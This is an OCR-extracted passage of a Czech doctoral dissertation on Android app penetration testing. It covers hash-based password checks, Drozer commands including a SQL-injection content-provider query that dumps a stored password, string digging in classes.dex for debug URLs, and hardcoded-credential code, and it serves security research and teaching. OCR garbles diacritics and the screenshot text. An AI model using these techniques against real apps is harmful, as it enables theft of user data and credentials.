mobilni aplikace, viz obrazek 4.18. Ttida R.class pfedstavuje katalog zdroji, ktery
obsahuje seznam ¢iselnych identifikatort a jejich jmen. Dalsi zkouméani R.class
odhali, Ze i1dentifikatoru 2130968603 odpovida napiiklad zdznam:

public static final int activity_main = 2130968603

70



coZ je proménna tfidy public static final class layout (jedna se o podtfidu tfidy
R.class). To znamena, ze ¢islo 2130968603 reprezentuje XML uZivatelsky layout,
ktery se jmenuje activity main.xml a lze ho najit v dekompilovaném adresati
vySetfovane aplikace (ziskdn pomoci dekompilace typu 2), v podadresafi
res/layout. Nalezeny soubor activity main.xml, ktery je zobrazen na obrazku
4.19, je nyni mozné analyzovat spolu s aplikacni logikou. Soubor
activity main.xml a startovni tfida (MainActivity) tvofi bezpec¢nostni prvek
vySetfované mobilni aplikace. Z obrazku 4.19 je patrné, Ze bezpecnostni
mechanismus, kterym je v tomto ptipadé ovefeni hesla, se spousti kliknutim na
tlacitko LOGIN. Je proto nutné nalézt ¢ast kodu, ktera se spusti po kliknuti na
dan¢ tlacitko:

V souboru activity main.xml, je potifeba najit parametr android:onClick.
Hodnota android:onClick="checkPassword onClick" znamend, Ze ve startovni
tridé (MainActivity) je metoda checkPassword onClick, jejiz zdrojovy kod je
potieba prostudovat a zjistit, zda obsahuje né&jakou zranitelnost. Nalezeny kod
odpovida uryvku:

if (hashString(this.inputText.getText().toString(), "SHA-256").equals(this.password))
{
this.inputText.setText("");
startActivity(new Intent(this, BestGameActivity.class));
return;
}
this.inputText.setText("");
Toast.makeText(this.context, "Wrong Password", 1).show();

Z kodu je ziejme, Ze tiida obsahuje promé&nnou password (this.password), ktera
obsahuje fingerprint hashovaci funkce SHA-256. To znamen4, Ze byla v mobilni
aplikaci nalezena vazna bezpecnostni chyba. Posledni ¢4sti ru¢ni statické analyzy
je navrZeni uto¢né metody, kterd dokaZe zneuzit nalezenou zranitelnost. V tomto
ptipad¢ lze postupovat dvéma zplisoby:

1. nalézt SHA-256 kolizi s obsahem proménné password:

a. pomoci online nastrojii (vhodngj§i pro slabsi hesla, naptiklad
http://mdSdecrypt.net/en/Sha256),

b. pomoci specializovanych nastroji, jako je hashcat [125] (vhodnéjsi
pro silné;si hesla),

2. pokud je heslo v proménné password dostatecné dlouhé a komplexni, mtze
byt hledani kolize zdlouhavé, nebo dokonce nemozné. V takovém piipadé
je vhodngj§i pomoci reverse engineeringu zmeénit obsah proménné
password na SHA-256 hash, jejiz otevieny text zname.
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() ?) R.class - Java Decompiler
File Edit Navigation Search Help
= - 4 &

2 # =

(s BestGame3-PTLab-dex2jar.jar &3
v # android.support

e R( public static final int notification_template_icon_group = 2130968613;
public static final int notification_template_lines_media = 2130968614

» # annotation bR class
. E Eg;‘_ﬂ?t public static final int abc_list_menu_item_radio = 2130968592;
» & coreutils public static final int abc_popup_menu_header_item_layout = 2130968593
> @ fragment A public static final int abc_popup_menu_item layout = 2130968594;
. & ?,E’;gccsn‘,j;?am‘ public static final int abc_screen_content_include = 2130968595;
> B va public static final int abc_screen_simple = 2130968596;
v public static final int abc_screen_simple_overlay_action_mode = 213096
"35,ngueti(faa‘rgiﬁtcgtf;@eBC‘IaDStSLEb public static final int abc_screen_toolbar = 2130968598;
» % BuildConfig.class public static final int abc_search_dropdown_item_icons_2line = 2130968
v & MainActivity.class public static final int abc_search_view = 2130968600;
» © MainActivity public static final int abc_select_dialog_material = 2130968601;
“®R public static final int activity_bestgame = 2130968602;
» & anim public static final int activity_main = ;
> © atr public static final int notification_action = 2130968604;
:g?gﬁ; public static final int notification_action_tombstone = 2130968605;
» & dimen public static final int notification_media_action = 2130968606;
» & drawable public static final int notification_media_cancel_action = 2130968607;
:g::w - public static final int notification_template_big_media = 2130968608;
. & La/é%t public static final int notification_template_big_media_custom = 21309
» & mipmap public static final int notification_template_big_media_narrow = 21309
» & string public static final int notification_template_big_media_narrow_custom :
:g:iﬁ:aw public static final int notification_template_custom big = 2130968612;

Find: 121309636[\3 v | &I Next <! Previous Case sensitive

Obr. 4.18: R.class a nalezeny zdroj 2130968603 [zdroj viastni]

) Android Emulator - mmm:5554
“il a 12:50

N

b /
jo]|’° PENETRATION
e TESTING

s LABORATORY
PT LAB

LOGIN

Obr. 4.19: GUI popsané souborem activity main.xml [zdroj viastni]

4.5 Automatizované metody vySetiovani

Kromé ru¢ni dynamické a statické analyzy se pro vyzkum zranitelnosti aplikaci
pouzivaji 1 automatizované¢ metody, které¢ jsou casto zapouzdieny do
bezpecnostnich/to¢nych frameworkill. Prostiedky automatizovaného testovani
kombinuji dynamické 1 statické vySetfovaci metody. Béhem automatizovaného
vySetfovani se vyuZzivaji vSechny informace nashromazdéné v predchozich fazich
testovani. ProtoZe pro efektivni automatizované vySetfovani je nutné znat alespon
pfiblizny smér, kterym by se mél vyzkum ubirat. Testovani bez jakychkoliv
piedchozich védomosti o dané aplikaci je ¢asoveé narocné a neefektivni.
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Patrn€ nejpouzivanéjSim nastrojem automatizované analyzy je Drozer. Jedna
se 0 komplexni bezpecnostni/ito¢ny framework pro mobilni platformu. Je vyvijen
spolecnosti MWR InfoSecurity [126]. Drozer se skldda ze dvou casti:

1. drozer Console béZici na penetranim pocitaci, ke kterému je pfipojeno
mobilni zatizeni (USB kabel) nebo emulator (softwarové spojeni). Drozer
Console slouzi pro odesilani ptikazi do drozer Agenta a pro zobrazovani
vypist a vysledki.

2. drozer Agent je specidlni APK aplikace, kterd je nainstalovand v mobilnim
zatizeni/emulatoru a komunikuje:

a. prostfednictvim TCP portu s programem drozer Console,
b. s hostitelskym mobilnim opera¢nim systémem.
c. s testovanou aplikaci.
Komunikaéni schéma Drozer frameworku je zachyceno na obrazku 4.20.

Telefon/emulator

® 5554:TestDevice

adb forward tcp:31415 tcp:31415 | i) FErEgy

drozer

© Android Emulator - TestDevice:5554

drozer Console

milan@ubuntu:~$ drozer console connect
Selecting de3f2769528e4e27 (unknown google_sdk 4.4.2)

..0.. 50
c@ei 4 iiieee. . ..nd komunikace mezi
ro..idsnemesisand..pr
.otectorandroidsneme. drozer Agentema

., sisandprotectorandroids+.
..nemesisandprotectorandroidsn:. testovanou aplikaa N

.emesisandprotectorandroidsnenes. .
otectorandro, .., idsnen.

.isisandp..rotectorandroid..snenisis.
,andprotectorandroidsnenisisandprotec.
.torandrotdsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

b /
PENETRATION
Fo]]][r_: TESTING

LABORATORY
PT LAB

drozer Console (v2.3.4)
dz> i

192.168.246.128

e

Obr. 4.20: Drozer framework [zdroj viastni]

Drozer obsahuje celou fadu U€innych nastroji, pomoci kterych lze provadét
efektivni automatizované testy/utoky. Zacatek automatizovanc¢ho vySetieni je
vzdy stejny. Pomoci ptikazu run app.package.list je zobrazen seznam vSech
nainstalovanych aplikaci. V seznamu se hled4 testovand aplikace. Pokud je
seznam piili§ dlouhy a nelze danou aplikaci nalézt, je vhodné vypis z0Zit pomoci
hledani klicovych slov: run app.package.list -f klicoveSlovo. Jakmile je testovana
aplikace nalezena, je nutné pomoci piikazu run app.package.info -a
packageName vypsat informace o vySetfované aplikaci. Vypis se miize liSit v
zavislosti na typu mobilni aplikace, ale zpravidla obsahuje:

e jméno balicku,

e popisku aplikace, kterou uvidi uzivatel (pokud jméno balicku a popiska

aplikace vyrazné 1i§i nebo jsou vrozporu, milZze to znamenat, Ze
vySetfovana aplikace obsahuje malware, ktery se snazi zmast uzivatele),
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cestu k privatnimu datovému prostoru mobilni aplikace,

cestu k APK souboru aplikace,

sdilené knihovny, které aplikace potiebuje ke své €innosti,

jaka opravnéni aplikace potfebuje ke své Cinnosti,

jakd opravnéni aplikace naopak pozaduje po ostatnich aplikacich, které
chtéji vyuzivat jeji prostredky a data,

o ng&které dalsi informace.

Ziskané informace slouzi pro urCeni kritickych mist v souboru
AndroidManifest.xml.  Manifest 1lze zobrazit pomoci piikazu run
app.package.manifest packageName, coz je pohodlné, nebot’ odpadid nutnost
vySettovany APK balicek dekompilovat. Kromé jiného je dulezité
v AndroidManifest.xml zjistit, zda mé aplikace povoleno ladéni (v elementu
<application> je parametr android:debuggable="true") a zadlohovani (v elementu
<application> je parametr android:allowBackup="true"), nebot’ tyto volby
pfedstavuji  bezpecnostni rizika. V dalsim kroku se ptikazem run
app.package.attacksurface packageName automatizované oskenuji mozna slaba
mista dané aplikace. Skenovdni mize mimo jiné odhalit: zranitelné aktivity,
broadcast receivers, poskytovatele obsahu ¢i sluzby. Dany ptikaz ptedstavuje
rozcestnik, ktery spolu s vysledky ptfedchozich ptikazii a s vysledky z rucni
statické 1 dynamické analyzy urCuji dalSi smér vySettovani/utoku. V piipadé
odhaleni  podezielého/zranitelného poskytovatele obsahu Ize pomoci
specializovanych nastrojii Drozeru provést utok a ovéfit jeho zabezpeceni.
Hledéani zranitelnosti poskytovatelli obsahu zpravidla zacind pomoci néstroje
finduris, ktery se pouziva pro hledani zneuzitelnych URI (Uniform Resource
Identifier) poskytovateli obsahu. Naptiklad pomoci ptikazu run
scanner.provider.finduris -a packageName. Jakmile se uto¢nikovi/penetracnimu
testerovi podafi ziskat nezabezpecené URI, je mozZné zacit zkouSet utoky pomoci
vhodné volenych dotazii. Nejprve se zjistuje datova struktura a yjména objektil
obsahujicich chranéna data. V dalsi fazi se zjiStuje, zda je mozné ziskat citliva
data. Napriklad: run app.provider.query
content://packageName.IDContentProvider/StructureObject/  --projection "*
FROM Table;--". Z obrazku 4.21 je vidét, Ze pokud neni mobilni aplikace
korektnim zplisobem zabezpeCena, lze automatizovanym uUtokem ziskat velmi
citliva data.

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

| Password | pin |
| 123TotoJeSuperTajneHeslo | 6789 |

dz> ||

Obr. 4.21: Utok na citlivd data vySetiované aplikace [zdroj viastni]
Vyznamnou skupinu néstrojii automatizovaného vySetfovani tvoii zakazkové

syntaktick¢ analyzatory. Jsou vyvijeny piimo forenznimi a penetra¢nimi
laboratofemi nebo si je nechéavaji laboratote vytvaret na zdklad€ svych poznatkl
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a specifikaci u tretich stran. Jde o velmi sofistikované nastroje, které tvoifi know-
how dané laboratotfe/spolecnosti, proto jsou témet vZdy nevetejné. Nekdy je
k dispozici on-line verze se znacné¢ omezenou funkcionalitou, kterd slouzi spiSe
jako propagace dané laboratofe neZ prakticky penetracni ndstroj. Syntakticke
analyzatory se pouzivaji pro automatizované vySetfovani zdrojovych kodu, ve
kterych se hledaji podezield mista. Nalezené ¢asti potencidln€ nebezpecného kodu
jsou sestaveny do automaticky generovaného interniho reportu, ktery nasledné
ruéné hodnoti analytik. Pracovnik laboratofe nemusi prochézet tisice tadkl
zdrojovych kodi, ale zamétuje se pouze na mista kodu, kterd mohou byt
potencidlné nebezpecna. Z vySe uvedené¢ho plyne, Ze pouzivani kvalitnich
zakazkovych syntaktickych analyzatorti velmi zefektiviiuje a zleviiuje cely proces
vySetfovani mobilnich aplikaci, proto na tomto poli probiha intenzivni vyzkum.
Jednou z technik, které jsou zabudovany do analyzatord, je hledani kli¢ovych
nazvl proménnych a metod jako naptiklad: pass, passwd, password, credentials,
checkPass, checkPassword, checkCredentials atd.

Vyhodou automatizovanych testll je jednak jejich rychlost, ale 1 mnoZstvi
provedenych tUkonl. Jak jiz bylo uvedeno vySe, pfes nesporné vyhody
automatizovanych analyz neni mozZné provést kompletni vySetfovani mobilni
aplikace jen pomoci téchto metod. Pro komplexni vySetfeni mobilnich aplikaci a
pro vyzkum novych penetracnich technik lze nejlepSich vysledki dosahnout
kombinovanim ru¢ni statické analyzy, ru¢ni dynamické analyzy a nastroji
automatizovaného vySetfovani. Dulezitou skutecnosti, kterou by méli mit na
paméti mobilni vyvojati a implementatofi nasazujici mobilni aplikace do
firemniho prostiedi, statni spravy ¢i ozbrojenych slozek je, Ze prostredky
automatizovanych analyz nejsou vyuzivany jen penetracnimi testery, ale i
uto¢niky. Tito pachatelé se snazi pomoci automatizovanych testil nalézt chyby v
legitimnich aplikacich, které pak vyuZzivaji k provadéni kybernetické kriminality
(tyka se to naptiklad Drozeru).

4.6 Zranitelnosti ve vySetfovanych mobilnich aplikacich
nalezené v ramci vyzkumu
Vyzkum provedeny v ramci této ¢asti dizertani prace trval dva a pll roku s

pramérnou tithodinovou denni dotaci. Zkoumani zranitelnosti ve vySetfovanych
mobilnich aplikacich vedlo k odhaleni cel¢ fady zavaznych bezpecnostnich

o 24

4.6.1 Utoky zaloZené na analyze dat z APK bali¢ki

Utoky v oddile 4.6.1 jsou zaloZeny na piirozené struktuie APK bali¢ki a z ni
vyplyvajici nemoznosti efektivni binarni ochrany. Uvedeny problém je popsan
v oddilech Struktura APK bali¢kli, Dekompilace APK bali¢kli a Ru¢ni staticka
analyza.
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String Digging

Utok je postaven na jevu, ktery se tyka ladicich fetézcl, které nebyly
odstranény z produkénich verzi programi. Velké mnoZstvi mobilnich aplikaci
vyuziva architekturu typu klient-server. UZivatel aplikaci prostfednictvim jejiho
uzivatelského rozhrani sdéli své pozadavky, které jsou zpracovany na vzdalenych
aplikacnich serverech. Vysledky jsou nasledné vraceny mobilni aplikaci, kde jsou
zobrazeny uZivateli.

Ladéni vySe uvedené komunikace je Casto velmi ndrocné¢ a zpohledu
aplikacniho programatora skryva celou tfadu uskali, které¢ je potfeba oSetfit.
Z tohoto divodu casto administrator aplikaéniho serveru vytvafi pro
programdtora testovaci spojeni. Pfistup k riznym funkcionalitim ¢&i Castem
serveru byva zpravidla zabezpe€en riiznou Grovni opravnéni. Vyvoj komerénich
mobilnich aplikaci je striktné ¢asové omezen, proto ani programator ani spravce
serveru nechtéji v pocateCnich fazich vyvoje ztracet Cas s problémy, které
souviseji s pristupovymi opravnénimi pro dany server. Ladicim ptistupiim jsou
tak mnohdy udéleny nejvyssi trovné opravnéni. Produkéni ptipojeni se snizenym
opravnénim na bezpe€nou Uroven se vytvaii teprve, aZz je dand komunikace
stabilni a pln¢ funk¢éni. Bezpecnostni problém nastava, kdyz v mobilni aplikaci
zlustane ve formé ,,neuklizen¢ho* fetézce testovaci piipojeni (neni dulezité, Ze
samotna aplikace ladici pfipojeni jiZ nepouziva). A zaroven na aplika¢nim serveru
zlustava stale aktivni ladici rozhrani.

Samotny utok probiha nasledujicim zplisobem. Nejprve je potieba ziskat APK
balicek, viz oddil 4.2.3 Ziskavani APK balicki. Nasledné je balicek preymenovan
pomoci piikazu mv StringDigging-PTLab.apk StringDigging-PTLab.zip. Dale je
provedeno rozbaleni mobilni aplikace: unzip StringDigging-PTLab.zip -d
TESTING_DIR. Situace je zachycena na obrazku 4.22. Utoéniky nejvice zajima
soubor classes.dex (je zde uloZzena kompletni aplika¢ni logika), ktery neni po
rozbaleni zip archivu lidsky citelny, kromé jediné vyjimky, které predstavuji
obsahy fetézci. Z ditvodu zachovani anonymity byl pfevzat pouze princip dané
zranitelnosti a vSechny zdrojové kody byly znova naprogramovany autorem pro
potieby dizertacni prace.

workshop@ubuntu:~/1lab/StringDigging-PTLab/TESTING_DIRS 11
total 2820

drwXxrwxr-x workshop workshop 4096 Jan 5 16:24 ./
drwXxrwxr-x workshop workshop 4096 Jan 5 16:24

-TW-TW-TW- workshop workshop 1940 Dec 31 1979 AndroidManifest.xml
-TW-TW-r-- workshop workshop 2644208 Dec 31 1979 classes.dex
drwxrwxr - x workshop workshop 4096 Jan 5 16:24 META-INF/
drwXxrwxr-Xx workshop workshop 4096 Jan 5 16:24 res/

-TW-TW- workshop workshop 221136 Dec 31 1979 resources.arsc

Obr. 4.22: Obsah vysetrované aplikace [zdroj viastni]

(V4

JelikoZ méa soubor classes.dex velikost v fadu megabajtli, je vhodnéjsi jeho
obsah zobrazovat pomoci textového editoru, ktery je uren pro prostiedi
piikazového interpretu. Tento editor si s vétSimi soubory, které jsou plné
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nestandardnich znaki, poradi 1épe nez GUI textové editory. Z obrazku 4.23 je
vidét, Ze dobrych vysledki 1ze naptiklad dosdhnout pomoci editoru nano [127].

GNU nano 2.5.3 File: classes.dex

dex

035°@3C00) 90 Nooo<o@Ape [ Wodky+joX (A@p @ @N@XVA RARNEAN@AA M@ @ @ @0
AGA@OFA@A@pA@A@A@oAHA@A@QAZAAA@OAKA@A@|>AAA@0AAA@A@QQAAA@OBA@A@OQABA@AAFA@A@»»ADA@DN!A@o
AGA@O"AwA@O"AwA@o“AwA@»"ANA@O"ANA@O"ANA@Q"AwA@Q"AWA@Q"AWA@O"AWA@O"AWA@ #AwA@B#ANA@j#ANA@s
VMA@MOANAR- 0AHA@: 9 NARIONHARX S AWA@PO HART 0 A @00 WA @00 WA @00 N @00 WA R0 A @00 WARNES NS
OMA@NVOANARSONA@3 0NN RES N WART 0NN @E 0 HARVO A @00 WA @00 WA @00 N @00 WA R0 A @00 WA @00 AS
o MAR*0NNARIOANAQRT AN RN A @00 WA @O0 WA @O0 HARN O N WA@> 0 WA Re 0 HARSONNA @O0 ANA @00 WA@NQOANS

AXA@ASAKAXA@KAKAXA@CAKAXA@QAKAXA@OAKAXA@OAKAXA@QAKAXA@OAKAXA@ALALAXA@ZALAXA@VALAXA@iALAXAs
A /\X/\@) A I\XI\@N 5 I\XI\@S 5 I\XI\@» A /\X/\@o , /\X/\@o , I\X/\@/\P_ /\X/\@S_ /\X/\@ S - /\X/\@o_ I\XI\@O_ I\XI\@@_ I\XI\@/\A . /\X/\@: . /\X$
TAXAGATTAXAQETAXA@: TAXAGKTAXA@STAXA@NTAXA@OTAXA@OTAXA@OTAXA@OTAXA@OTAXA@STAXAGAPUAXA@, UAXS
XAXAGOXAXAGIXAXAROXAXA@OXAXA@OXAXA@OXAXA@OXAXA@OXAXA@OXAXA@ARYAXARTY AXAACYAXA@OYAXAGOYAXAS
LAXA@A_1AXA@; IAXAQULAXAGLLAXAROLAXA@OLAXAGOLAXAGOLAXAGOLAXA@ADFAXAGMFAXAA( FAXA@<AXARETAS
TAXARAUTAXA@' TAXA@; TAXAROLAXARCLAXA@ILAXAGO LAXAGO LAXAGO LAXA@O LAXA@M \ MAXA@BMAXA@SMAXA@GMAXS
OAXA@A\ 0AXA@. 0AXA@2OAXA@PONXA@a0AXAREOANXA@]OAXABPOAXA@WONX AR 0N XA @00 XA @00 XA @00 AXA@OONXAS
oAXA@1oAXA@poAXA@ooAXA@»@AXA@JAXA@ADoAxA@4oAXA@AQAXA@ooAXA@ooAXA@KbXA@o»AXA@AP»AXA@OoAXA@s

First Line @ Beg of Par

Last Line [¢ End of Par

Obr. 4.23: Obsah souboru classes.dex, zobrazeny v nano editoru [zdroj viastni]

Nyni se uto¢nik/penetraéni tester pokusi o hledani tfetézcli, které obsahuji
identifikator néjakeho protokolu, naptiklad: http, https, ftp, ftps apod. Jakmile je
nalezen fetézec, ktery ma odpovidajici tvar, je zkopirovan, viz obrazek 4.24.

helpString~@ Fhelper~@ Dherer@ heuristic”r@*Ehgrav~@ Bhi~@ Fhidden”@*KhiddenByApp~@*NhiddenBySystem~@"ShiddenFragmentViews~@ Khiddenviews”@*Dhide”@"Fh$|
hintParams~@*QhintScreenTimeout”@ VhintShowBackgroundonly~@ HhintText”@ HhintView~r@*Xhint_alpha_material_dark~@*Yhint_alpha_material_light~@ hint_pres$

hitPercent”@*HhitThumb”@"Dhome~@*HhomeAsUp~@~QhomeAsUpIndicator”@
homeLayout”@

horizontal~r@~shorizontalDirection*@*shorizontalDragRange~@"QhorizontalGravity~@*PhorizontalMargin®@ MhorizontalMax~@*MhorizontalMin*@*Phorizontaloffse$

htmlEncode"@"HhtmlTextﬂ@A(Ittp //~@ahttp://ptlab.fail.utb.cz/nefneo1561f5w/654re6r58ge3/fe5we5f7e5/ohoe5ewbwl Open Link

iconBitmap”r@‘FiconId”@ 1iconLevelr@ FiconLpr@ m

iconOffset”@

iconRefine”@*GiconRes”@ iconResId”@*HiconSize”@"GiconUrir@*HiconView”@"NiconVisibility~@ Open Terminal

x.phpAr@*http://schemas$|

icon_group”@ iconified”@"RiconifiedByDefault?@ Giconify”@*Bid~@ Cid17@ Cid27@"Cid="@ FidText @ GidToken"@ r@~QidealIntArraySizens|
imageWidth”@
imeOptionsA@ACimmA@ immediate~@*Dimpl”@ important~@*YimportantForAccessibility”@ Cimx*@"Cimy~@*Bin*@ Paste

inFragment~@ GinGroup~@ RinJustDecodeBounds~@"EinMap”@ 1inMutable”@*0inProgressLabel”@ LinSampleSize”@" GinSt.
inboxStyle~@”\includeChildForAccessibility~@ Dincr @ increment~@ WincrementOperationCount”@ Findent @ Min:
index0fKey~@ KindexOfNullr@ Lindex0fValuer@ indicator~@*MindicatorDown*@ KindicatoruUp”@
indicators~@~Ginflater@*UinflateColorStateList*@ 0inflateInternalr@ 0inflateListener~@ KinflateMenu”@
inflatedId~@ Hinflater~@"Dinfo”@ + Show Menubar

infoCompat”@ infoCount”@*0infoForAnyChild~@~LinfoForChild~@"\infoForCurrentScrollPosition”@*0infoForPosition @ cinios @ ninneritContext @ Dinit @

Profiles

Read-Only

ARinactivateFragment”@$|
erminateProgressStylens

S|
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Obr. 4.24: Nalezeni vyhovujiciho tvaru retézce v souboru classes.dex [zdroj viastni]

Pro jednoduché vyzkouSeni funk¢nosti nalezené¢ho piipojovaciho fetézce je
mozZn¢ pouzit i bézny webovy prohlizec. V ptipadé, ktery byl zkouman v ramci
dizertacni prace, se jednalo o velmi nebezpecny fetézec, ktery umoznoval nejen
ptistup do fakturacniho systému (obrazek 4.25 vlevo), ale 1 editaci faktur (obrazek
4.25 vpravo). Utoénik mohl ménit jednotlivé polozky na fakturach, a dokonce
mohl zménit 1 subjekt, kterému byla faktura vyplacena, tj. ato¢nik mohl vytvofit
fakturu ve sviij prospéch nebo ve prospéch fiktivni spole¢nosti zalozené pro tento
ucel. Uvedeny utok je velmi jednoduchy a nejsou pro jeho provedeni potieba
zadné specialni nebo placené nastroje. Nicméné pokud je uto¢nikem odhalen vyse
popsany bezpecnostni problém, mivd to zpravidla pro postizenou
spole¢nost/organizaci fatalni nasledky. Je proto vhodné, aby soucasti kazdého
penetracniho testu bylo 1 pec€livé vySeteni vSech fetézcil. ZvySend pozornost by
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méla byt vénovana zejména fetézcium, které obsahuji identifikatory TCP, UDP a
aplikacnich protokolii. Pomoci metody String Digging lze pfedevSim cilit na
programétory s nizkym bezpe¢nostnim povédomim. Casto se jedna o zaéinajici
programdatory mimo velké spolecnosti, kteti se plné soustfedi jen na uzivatelsky
zazitek a bezpecnostni aspekty zcela opomiji. I tito programéatofti vytvareji mobilni
aplikace, které jsou mezi uZivateli oblibené. Takové programy jsou pak rovnéz
zajimavé pro uto¢niky a tviirce mobilniho malwaru. Jednoduchym, ale u¢innym
zpusobem, jak najit cenné ftetézce, je napsat shellovy skript, ktery bude
porovnavat fetézce nalezené v classes.dex se seznamem nej€astéji pouzivanych
hesel. Kvalitni seznam nékolika tisic nejb&éZnéjSich hesel sefazenych podle
Cetnosti l1ze naptiklad nalézt na webové strance Most common passwords list
[128].

() Fakturaéni systém Firmy Take IT All s.r.0 - Mozilla Firefox o Fakturaéni systém firmy Take IT All s.r.0 - Mozilla Firefox

Fakturaéni systém firmyTa/ x S8 Fakturaéni systém firmyTa: x [ES

< Cc @ tb. O % » = <« c @ th. O » | =
Pepa Novak Pepa Novak
Jindfisska 16 Jindfisska 16
Praha 1 5 ’ Praha 1 5 v
U0 %ﬂ[—o PENETRATION i ?ﬂ[ﬂ PENETRATION
d TESTING r TESTING
LABORATORY LABORATORY
PT LAB PT LAB
Take IT All s.r.0 Faktura # 000113056 Take IT All s.r.o Faktura # 000113056
>TIA < >TIA <

Datum 05.01.2019 Datum 05.01.2019

Splatna
Castka

Splatna

$62.00 s $1062.00

Polozka Popis Cena za kus | Pocet kusii|  Cena Polozka Popis Cena za kus | Potet kusii|  Cena

[X] Tiskové zpravy Tiskové zpravy a medialni servis za $11 2 $22 (X[ Tiskové zpravy Tiskové zpravy a medialni servis za $11 2 $22
prislusné faktura¢ni obdobi prislusné fakturacni obdobi

[X] ostatni stuzby Vyplnéni formulafe Ize tiskového vzoru $8 5 $40 [X] ostatni stuzby Vyplnéni formulafe Iz tiskového vzoru $8 5 $40
&islo: 000021338, &islo: 000021338.

Pridat polozku (X pogyrzens paloza PodyrZeny popis $100 10| $1000.00

Mezisoucet $62.00

Pridat polozku
Celkova astka $62.00

Mezisoucet $1062.00
Zaplaceno $0.00

Celkova ¢astka $1062.00

K zaplaceni celkem $62.00

Zaplaceno  $0.00

* UPOZORNENI *

K zaplaceni celkem $1062.00

Obr. 4.25: Pristup do nezabezpeceného fakturacniho systému pomoct nalezeného
prFipojovaciho retézce [zdroj viastni]

Hardcoded Credentials

Uvedeny bezpecnostni problém vznika tak, Ze programéator pouZzije pro ovéteni
platnych pfihlasovacich udaji platiciho/registrovaného uzivatele proménné, ktere
jsou piimou soucasti zdrojoveho kodu. Dalsi aspekt, ktery velmi napomaha ve
zneuzivani dané bezpecnostni chyby, je skutenost, Ze vétSina programatoru pise
samo vysvétlujici zdrojovy kod. To znamena, Ze nazvy proménnych, které slouzi
k ovéfovani uzivateld, se Casto jmenuji login, id, user, user id, userID, Ign,
password, passwd, pass, Pass apod.

Typické schéma zabezpefeni mobilni aplikace obsahujici chybu Hardcoded
Credentials je vidét na obrazku 4.26 a v ukazce zdrojového kodu, ktery se nachazi
pod obrazkem. Po spusténi mobilni aplikace je uZzivatel ve startovni aktivité
vyzvan k zadani piihlaSovacich daji. Nasledné¢ dochazi ke kontrole
piithlasovacich udaji pomoci prost¢ho porovnani hodnoty, kterou zadal uZivatel

78



prostfednictvim komponenty EditText (proménnd se jmenuje inputText) a
proménné password!>. Pokud se obsahy obou proménnych rovnaji, je
prostfednictvim Intentu spusténa chranéna ¢ast aplikace obsahujici funkcionalitu
urcenou pouze pro platici/registrované uzivatele. V opaéném ptipad¢ se pomoci
ttidy Toast zobrazi informace, Ze zadané ptihlaSovaci udaje nejsou platné a
aplikace ¢eké se na dal$i zadani hesla. UZivatel miize pokracovat zadanim hesla
nebo ukonc¢enim aplikace.

[ Start aplikace ]
H‘ Vloz heslo '—> Zkontroluj heslo

Je heslo
spravné?

Spust chranénou
Cast aplikace

Obr. 4.26: Typické schéma zabezpeceni mobilni aplikace pomoci Hardcoded
Credentials [zdroj viastni]

Ukazka nebezpecného zdrojového kodu obsahujiciho chybu Hardcoded
Credentials:
EditText inputText;
String password = "Tdjg123.";
Context context;

@Override
protected void onCreate(Bundle savedInstanceState)

{

super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

context = this;
inputText = findViewByld(R.id.input_password);

}

public void checkPassword_onClick(View v)

{
if(inputText.getText().toString().equals(password))

13 Obsah proménné password obsahuje dalsi chybu, kterou je slabé heslo. Retézec ma
nejbéznéjsi tvar, jez je snadno predvidatelny: délka je osm znakil, zacina velkym pismenem, na
konci jsou cisla tvorici skupinu a celé heslo je zakonceno jednim z nejbéznéjsich
z nealfanumerickych znakii, kterym je tecka.
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{
inputText.setText("");

Intent intent = new Intent(this, BestGameActivity.class);
startActivity(intent);
}

else

{
inputText.setText(");
Toast.makeText(context, "Wrong Password", Toast.LENGTH_LONG).show();

)
}

Navzdory skutecnosti, Ze se jednd o velmi snadno zneuZitelnou bezpe€nostni
chybu, je jeji vyskyt pomérné Casty, a to zejména u programatort s nizkym
povédomim o zabezpeCeni mobilnich aplikaci. Nicméné existuji 1 varianty
Hardcoded Credentials, kterych se dopoustéji 1 pokrocili vyvojati. Jedou z nich je
verze pracujici z hashovanymi hodnotami ptihlasovacich tidaji. Uvedené chyby
se dopoustéji programatofi, ktefi jiz védi, Ze Hardcoded Credentials predstavuje
vaznou bezpec¢nostni hrozbu. Ale na druhou stranu chtéji jednoduchy zpisob
ovéfovani. Inspiraci pro tuto verzi Hardcoded Credentials jsou patrné relacni
databaze, ve kterych nejsou ukladana hesla v oteviené podobé, ale ve formé
hashti. Princip tohoto zabezpeceni je zobrazen na obrazku 4.27. UZivatel zada
heslo, které je prevedeno na hashovanou hodnotu. Nasledné se uvedend hodnota
porovna s obsahem proménné password, jez rovnéz obsahuje hashovany vyraz.
Pokud se ob¢ hodnoty rovnaji, je ovéteni ispésné. Heslo se v Zadné fazi ovétovani
nenachazi v oteviené podobé, coz vede k mylnému predpokladu, Ze je tento
zpusob ovéfeni bezpecny.
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® Android Emulator - TestDevice:5554

%l v 3:56

.
Start L /
_O]] PENETRATION
C>] ro TESTING
PT LAB LABORATORY

Context context;
EditText inputText;
String password = "21bd12dc183f740ee76f27b782b39c8ad972a757" ;

‘ Pfeved na hash ‘

Porovnej hash fetézce I

Rovnaji se?

[Spust’ zabezpecenou Aktivitu]

Obr. 4.27: Varianta Hardcoded Credentials vyuzivajici hashovaci funkce [zdroj
viastni]

Pokud se uto¢nik dostane k heslu, které bylo transformovano pomoci hashovaci
funkce, mohou nastat dv¢ situace:

e Utocnikovi se podaii pomoci napiiklad pomoci Rainbow Tables'* nalézt
otevienou podobu hesla,

e v piipadég, Ze se uto¢nikovi nepodati zjistit otevienou podobu hesla (jednalo
se o dostateCné dlouhé a komplexni heslo), 1ze ochranu snadno vytadit
pomoci techniky APK repackage, ktera je probrana v pfislusne ¢asti
dizertacni prace.

Na zékladé analyzy zdrojovych kodt mobilnich aplikaci, ktera byla provedena
v ramci dizerta¢ni prace, 1ze predpokladat, ze bude vzdy existovat urcita skupina
vyvojari, kteti se budou dopoustét chyby Hardcoded Credentials. A to bud’
z neznalosti nebo kvili tomu, Ze se jednd o jednoduchou (vykonava se offline,
neni potfeba provozovat piihlaSovaci servery nebo synchronizovat lokélni
databaze apod.) a rychlou metodu ovétovani.

UZivatelska jména a hesla ve zdrojich (Resources) mobilnich aplikaci

